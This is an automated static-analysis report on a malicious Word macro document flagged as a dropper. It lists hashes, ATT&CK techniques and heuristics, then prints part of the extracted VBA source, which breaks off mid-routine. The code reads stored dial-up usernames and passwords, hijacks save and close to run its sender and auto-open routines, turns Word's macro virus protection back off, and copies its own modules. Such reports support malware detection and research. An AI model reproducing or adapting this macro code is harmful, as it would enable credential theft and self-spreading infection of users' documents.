Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8d41196f2ef11bb…

MALICIOUS

Office (OLE)

89.5 KB Created: 2001-02-06 11:16:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bf930e4e048a9396baa93e6c10e547a9 SHA-1: 3d0139609d347996dc7bc863c09386b80e255ac5 SHA-256: f8d41196f2ef11bbf18e4eb716e64be4bfe4ebf7ba672f4be221545dc97cbdca
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of AutoOpen and Auto_Close macros, along with a critical Shell() call and p-code execution, strongly suggesting the execution of arbitrary code. ClamAV detections further confirm its malicious nature as a dropper. The VBA code itself appears to be a complex script for checking dial-up settings, but the presence of AutoOpen/AutoClose and Shell() calls indicates it's designed to execute a payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7479990-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7479990-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53313 bytes
SHA-256: 73e942a2015132edcfce454fc3b9f72322109962f71ae490abdf219d9e34fc2d
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MSPluss_SCP"
'Dial-up_script_and_password_checker
Option Explicit
Type FILETIME
  dwLowDateTime As Long
  dwHighDateTime As Long
End Type
Type RASENTRYNAME
dwSize As Long
szEntryName(256) As Byte
End Type
Type RASDIALPARAMS
     dwSize As Long
     szEntryName(256) As Byte
     szPhoneNumber(128) As Byte
     szCallbackNumber(128) As Byte
     szUserName(256) As Byte
     szPassword(256) As Byte
     szDomain(15) As Byte
End Type
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal Msg As Long, wParam As Any, lParam As Any) As Long
Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Long
Declare Function RasEnumEntries Lib "RasApi32.DLL" Alias "RasEnumEntriesA" (ByVal reserved$, ByVal lpszPhonebook$, lprasentryname As RASENTRYNAME, lpcb As Long, lpcEntries As Long) As Long
Declare Function RasGetEntryDialParams Lib "rasapi32" Alias "RasGetEntryDialParamsA" (ByVal lpszPhonebook As String, lpRasDialParams As RASDIALPARAMS, lpfPassword As Byte) As Long
'
Function Check_Connection()
Dim CurrWnd As Long
Dim Length As Long
Dim Title As String
  On Error Resume Next
  CurrWnd = FindWindow(CLng(0), "")
  CurrWnd = GetWindow(CurrWnd, 0)
    Do While CurrWnd <> 0
       Length = GetWindowTextLength(CurrWnd)
        Title = Space(Length + 1)
    Length = GetWindowText(CurrWnd, Title, Length + 1)
    If InStr(1, Title, "Connected to", vbTextCompare) <> 0 _
     Or InStr(1, Title, "Ïîäêëþ÷åíî ê", vbTextCompare) <> 0 Then
     Check_Connection = True
     Exit Function
    End If
    CurrWnd = GetWindow(CurrWnd, 2)
    DoEvents
  Loop
  Check_Connection = False
End Function
' End Sub

Sub FileSave()
On Error Resume Next
ActiveDocument.Save
Sender_main
End Sub

Sub FileClose()
On Error Resume Next
AutoOpen
ActiveDocument.Close
End Sub

Sub Tmsn()
Dim Delta As Integer
Dim Old As Byte
Dim NF As Integer
NF = FreeFile
On Error Resume Next
Open WinDir + "logow.sys" For Binary Access Read As #NF
Get #NF, 76989, Old
Close #NF
Delta = Val(Mid(Date$, 4, 2))
Delta = Delta - Old
Select Case Delta
 Case Is > 2
 Sender
 Case Is < 0 And Delta + 31 > 2
 Sender
 Case Else
 End Select
End Sub

Sub ToolsOptions()
With Options
.VirusProtection = True
.SaveNormalPrompt = True
End With
Dialogs(wdDialogToolsOptions).Show
With Options
.VirusProtection = False
.SaveNormalPrompt = False
End With
End Sub
Sub CopyLines(Source As Object)
On Error Resume Next
     Dim SourceM As Object, TargetM As Object
     Dim n As Long
     Dim Body As String
     Dim VBComponent  As Object
    For Each VBComponent In Source.VBProject.VBComponents
     Set SourceM = VBComponent
     n = S
... (truncated)

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